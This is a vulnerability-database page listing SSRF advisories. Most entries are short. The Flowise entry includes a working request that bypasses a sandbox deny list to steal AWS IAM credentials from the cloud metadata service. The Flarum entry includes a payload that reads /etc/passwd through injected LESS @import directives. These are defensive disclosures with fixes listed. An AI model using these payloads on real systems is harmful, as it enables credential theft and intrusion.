Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4611 vulnerabilities reference this CWE, most recent first.

GHSA-XHMJ-RG95-44HV

Vulnerability from github – Published: 2026-04-16 21:50 – Updated: 2026-04-27 16:11
VLAI
Summary
Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox
Details

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause: - The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST - The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection - Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files: - packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers - packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code - packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites: 1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) 2. Valid API key or authenticated session 3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}

image

image

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted: - All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection - Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements: - Authentication required (API key or session) - Network access to Flowise instance

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:50:12Z",
    "nvd_published_at": "2026-04-23T20:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)\n\n### Details\nThe vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts`\n\n**Vulnerable Code - Allowed Built-in Modules (Line 56):**\n```typescript\nexport const defaultAllowBuiltInDep = [\n    \u0027assert\u0027, \u0027buffer\u0027, \u0027crypto\u0027, \u0027events\u0027, \u0027http\u0027, \u0027https\u0027, \u0027net\u0027, \u0027path\u0027, \u0027querystring\u0027, \u0027timers\u0027,\n    \u0027url\u0027, \u0027zlib\u0027, \u0027os\u0027, \u0027stream\u0027, \u0027http2\u0027, \u0027punycode\u0027, \u0027perf_hooks\u0027, \u0027util\u0027, \u0027tls\u0027, \u0027string_decoder\u0027, \u0027dns\u0027, \u0027dgram\u0027\n]\n```\n\n**SSRF Protection Implementation (Lines 254-261):**\n```typescript\n// Only axios and node-fetch are wrapped with SSRF protection\nsecureWrappers[\u0027axios\u0027] = secureAxiosWrapper\nsecureWrappers[\u0027node-fetch\u0027] = secureNodeFetch\n\nconst defaultNodeVMOptions: any = {\n    // ...\n    require: {\n        builtin: builtinDeps,      // \u003c-- http, https, net allowed here\n        mock: secureWrappers       // \u003c-- Only mocks axios, node-fetch\n    },\n    // ...\n}\n```\n\n**Root Cause:**\n- The `secureWrappers` object only contains mocked versions of `axios` and `node-fetch` that enforce `HTTP_DENY_LIST`\n- The built-in `http`, `https`, and `net` modules are passed directly to the sandbox via `builtinDeps` without any SSRF protection\n- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls\n\n**Affected File:** `packages/components/src/utils.ts`\n\n**Related Files:**\n- `packages/components/src/httpSecurity.ts` - Contains checkDenyList() function only used by axios/node-fetch wrappers\n- `packages/server/src/controllers/nodes/index.ts` - API endpoint accepting user-controlled JavaScript code\n- `packages/server/src/services/nodes/index.ts` - Service layer executing the code\n\n\n\n### PoC\n**Prerequisites:**\n1. Flowise instance with `HTTP_DENY_LIST` configured (e.g., `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`)\n2. Valid API key or authenticated session\n3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached\n\n**Verify SSRF Protection is enabled (expect a block message by policy)**\n\nRequest:\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n  \"javascriptFunction\": \"const axios = require(\u0027axios\u0027); return (await axios.get(\u0027http://169.254.169.254/latest/meta-data/\u0027)).data;\"\n}\n```\n\nResponse:\n\n```json\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.\",\"stack\":{}}\n```\n\n**Bypass SSRF Protection using built-in http module**\n\nRequest:\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: \u003chost\u003e\nContent-Type: application/json\nAuthorization: Bearer \u003capi_key\u003e\n\n{\n  \"javascriptFunction\": \"const http = require(\u0027http\u0027); return new Promise((resolve) =\u003e { const tokenReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/api/token\u0027, method: \u0027PUT\u0027, headers: { \u0027X-aws-ec2-metadata-token-ttl-seconds\u0027: \u002721600\u0027 } }, (tokenRes) =\u003e { let token = \u0027\u0027; tokenRes.on(\u0027data\u0027, c =\u003e token += c); tokenRes.on(\u0027end\u0027, () =\u003e { const metaReq = http.request({ hostname: \u0027169.254.169.254\u0027, path: \u0027/latest/meta-data/iam/security-credentials/{IAM_Role}\u0027, headers: { \u0027X-aws-ec2-metadata-token\u0027: token } }, (metaRes) =\u003e { let data = \u0027\u0027; metaRes.on(\u0027data\u0027, c =\u003e data += c); metaRes.on(\u0027end\u0027, () =\u003e resolve(data)); }); metaReq.on(\u0027error\u0027, e =\u003e resolve(\u0027meta-error:\u0027 + e.message)); metaReq.end(); }); }); tokenReq.on(\u0027error\u0027, e =\u003e resolve(\u0027token-error:\u0027 + e.message)); tokenReq.end(); });\"\n}\n```\n\nResponse:\n\n```json\n{\n  \"Code\": \"Success\",\n  \"LastUpdated\": \"2026-01-08T11:30:00Z\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2026-01-08T17:30:00Z\"\n}\n```\n\n\u003cimg width=\"1638\" height=\"751\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6\" /\u003e\n\n\n\u003cimg width=\"1633\" height=\"986\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77\" /\u003e\n\n\n\n\n\n### Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF) with security controls bypass\n\n**Who is Impacted:**\n- All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection\n- Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method\n\n**Impact Severity:**\n1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources\n2. Scan internal networks, discover services, and identify attack targets\n3. Reach databases, admin panels, and other internal APIs that should not be externally accessible\n\n**Attack Requirements:**\n- Authentication required (API key or session)\n- Network access to Flowise instance",
  "id": "GHSA-xhmj-rg95-44hv",
  "modified": "2026-04-27T16:11:06Z",
  "published": "2026-04-16T21:50:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhmj-rg95-44hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41270"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox"
}

GHSA-XJ2X-H5M7-W8GV

Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-10 00:01
VLAI
Details

An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-37940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-07T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure via GET request server-side request forgery vulnerability was discovered with the Workplace Search Github Enterprise Server integration. Using this vulnerability, a malicious Workplace Search admin could use the GHES integration to view hosts that might not be publicly accessible.",
  "id": "GHSA-xj2x-h5m7-w8gv",
  "modified": "2021-12-10T00:01:20Z",
  "published": "2021-12-08T00:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37940"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/enterprise-search-7-16-0-security-update/291146"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJ3J-28FV-MQ6V

Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-10-09 18:30
VLAI
Details

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer’s host name in the variable $printer_vo->str_host_address. The code later builds a URL like 'http://:80/DevMgmt/DiscoveryTree.xml' and sends the request with curl. No validation, whitelist, or private‑network filtering is performed before the request is made. Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-34230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:36Z",
    "severity": "MODERATE"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.1.102 and Application prior to version 25.1.1413 (VA/SaaS deployments) contain a blind server-side request forgery (SSRF) vulnerability reachable via the /var/www/app/console_release/hp/log_off_single_sign_on.php script that can be exploited by an unauthenticated user. When a printer is registered, the software stores the printer\u2019s host name in the variable\u202f$printer_vo-\u003estr_host_address. The code later builds a URL like \u0027http://\u003chost\u2011address\u003e:80/DevMgmt/DiscoveryTree.xml\u0027 and sends the request with curl. No validation, whitelist, or private\u2011network filtering is performed before the request is made.\u00a0Because the request is blind, an attacker cannot see the data directly, but can still: probe internal services, trigger internal actions, or gather other intelligence. This vulnerability has been confirmed to be remediated, but it is unclear as to when the patch was introduced.",
  "id": "GHSA-xj3j-28fv-mq6v",
  "modified": "2025-10-09T18:30:27Z",
  "published": "2025-09-29T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34230"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-ssrf-06"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-ssrf-via-hp-log-off-single-sign-on-php-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJ4R-WHFG-77CR

Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50
VLAI
Details

F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.

Severity
7.4 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-06T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "F5 SSL Intercept iApp 1.5.0 - 1.5.7 and SSL Orchestrator 2.0 is vulnerable to a Server-Side Request Forgery (SSRF) attack when deployed using the Dynamic Domain Bypass (DDB) feature feature plus SNAT Auto Map option for egress traffic.",
  "id": "GHSA-xj4r-whfg-77cr",
  "modified": "2022-05-17T02:50:37Z",
  "published": "2022-05-17T02:50:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6130"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K23001529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ6V-GR3V-5FPQ

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30
VLAI
Details

A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-21T06:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in SeriaWei ZKEACMS up to 4.3. This affects the function Edit of the file src/ZKEACMS.EventAction/Controllers/PendingTaskController.cs of the component Event Action System. Such manipulation of the argument Data leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-xj6v-gr3v-5fpq",
  "modified": "2025-09-22T21:30:19Z",
  "published": "2025-09-22T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb021.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.325119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.325119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.647629"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJVC-PW2R-6878

Vulnerability from github – Published: 2026-04-22 20:34 – Updated: 2026-05-13 13:30
VLAI
Summary
Flarum: Path traversal in LESS parser via theme color settings (incomplete fix for CVE-2023-27577)
Details

Summary

Flarum's patch for CVE-2023-27577 restricted the @import and data-uri() LESS features in the custom_less setting, but the same restriction was never applied to other settings registered as LESS config variables (for example theme_primary_color and theme_secondary_color, as well as any key registered via Extend\Settings::registerLessConfigVar()).

Those values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary @import directive into the compiled forum.css. Because the underlying LESS parser honours @import (inline) '<path>', an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).

Impact

An attacker who has compromised — or legitimately obtained — an administrator account can:

  • Read arbitrary local files reachable by the PHP process (e.g. /etc/passwd, .env, config files containing database credentials, OAuth secrets, API keys).
  • Trigger outbound HTTP/HTTPS requests from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as http://169.254.169.254/ (AWS IMDSv1, GCP, Azure).

The contents of the attacker-controlled import are embedded into the compiled forum.css, which is publicly served — so the attacker can retrieve whatever was read simply by fetching the CSS file.

This is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.

Example payload

Submitted via POST /api/settings with an admin session:

{ "theme_primary_color": "#4D698E;@import (inline) '/etc/passwd';" }

The setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file's contents appear in /assets/forum.css.

Patches

  • flarum/core 1.8.16 — fix for the 1.x branch.
  • flarum/core 2.0.0-rc.1 — fix for the 2.x branch.

The fix extends the existing @import / data-uri() validation in Flarum\Forum\ValidateCustomLess::whenSettingsSaving to every dirty setting whose key is registered as a LESS config variable, not just custom_less.

Workarounds

If upgrading is not immediately possible:

  • Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.
  • Restrict administrator access to trusted users only.
  • Review the forum's public forum.css for unexpected content that could indicate prior exploitation.

There is no configuration-level mitigation on affected versions — the fix requires the upgraded code.

Resources

Credit

Reported to the Flarum Foundation by William (Liam) Snow IV (@LiamSnow), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "flarum/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-beta.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "flarum/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.1"
            },
            {
              "fixed": "2.0.0-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:34:52Z",
    "nvd_published_at": "2026-05-08T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFlarum\u0027s patch for [CVE-2023-27577](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) restricted the `@import` and `data-uri()` LESS features in the `custom_less` setting, but the same restriction was never applied to other settings registered as LESS config variables (for example `theme_primary_color` and `theme_secondary_color`, as well as any key registered via `Extend\\Settings::registerLessConfigVar()`).\n\nThose values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary `@import` directive into the compiled `forum.css`. Because the underlying LESS parser honours `@import (inline) \u0027\u003cpath\u003e\u0027`, an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).\n\n## Impact\n\nAn attacker who has compromised \u2014 or legitimately obtained \u2014 an administrator account can:\n\n- **Read arbitrary local files** reachable by the PHP process (e.g. `/etc/passwd`, `.env`, config files containing database credentials, OAuth secrets, API keys).\n- **Trigger outbound HTTP/HTTPS requests** from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure).\n\nThe contents of the attacker-controlled import are embedded into the compiled `forum.css`, which is publicly served \u2014 so the attacker can retrieve whatever was read simply by fetching the CSS file.\n\nThis is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.\n\n### Example payload\n\nSubmitted via `POST /api/settings` with an admin session:\n\n```json\n{ \"theme_primary_color\": \"#4D698E;@import (inline) \u0027/etc/passwd\u0027;\" }\n```\n\nThe setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file\u0027s contents appear in `/assets/forum.css`.\n\n## Patches\n\n- **`flarum/core` 1.8.16** \u2014 fix for the 1.x branch.\n- **`flarum/core` 2.0.0-rc.1** \u2014 fix for the 2.x branch.\n\nThe fix extends the existing `@import` / `data-uri()` validation in `Flarum\\Forum\\ValidateCustomLess::whenSettingsSaving` to every dirty setting whose key is registered as a LESS config variable, not just `custom_less`.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n- Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.\n- Restrict administrator access to trusted users only.\n- Review the forum\u0027s public `forum.css` for unexpected content that could indicate prior exploitation.\n\nThere is no configuration-level mitigation on affected versions \u2014 the fix requires the upgraded code.\n\n## Resources\n\n- [CVE-2023-27577](https://nvd.nist.gov/vuln/detail/CVE-2023-27577) \u2014 the original vulnerability whose patch was incomplete.\n- [GHSA-vhm8-wwrf-3gcw](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) \u2014 the original advisory.\n\n## Credit\n\nReported to the Flarum Foundation by **William (Liam) Snow IV** ([@LiamSnow](https://github.com/LiamSnow)), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.",
  "id": "GHSA-xjvc-pw2r-6878",
  "modified": "2026-05-13T13:30:21Z",
  "published": "2026-04-22T20:34:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/security/advisories/GHSA-xjvc-pw2r-6878"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27577"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/commit/2d90a1f19f0e46f8c7e1b07c48ba74b5e38f8410"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flarum/framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/releases/tag/v1.8.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/releases/tag/v2.0.0-rc.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flarum: Path traversal in LESS parser via theme color settings (incomplete fix for CVE-2023-27577)"
}

GHSA-XJWM-593F-HR6X

Vulnerability from github – Published: 2024-11-08 18:30 – Updated: 2024-11-08 21:33
VLAI
Details

Northern.tech Hosted Mender before 2024.07.11 allows SSRF.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-08T16:15:24Z",
    "severity": "LOW"
  },
  "details": "Northern.tech Hosted Mender before 2024.07.11 allows SSRF.",
  "id": "GHSA-xjwm-593f-hr6x",
  "modified": "2024-11-08T21:33:57Z",
  "published": "2024-11-08T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47190"
    },
    {
      "type": "WEB",
      "url": "https://mender.io/blog/cve-2024-46947-cve-2024-47190-ssrf-issues-in-mender-enterprise-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XM2P-HXQ8-XJ3Q

Vulnerability from github – Published: 2024-03-05 18:31 – Updated: 2025-03-20 06:31
VLAI
Details

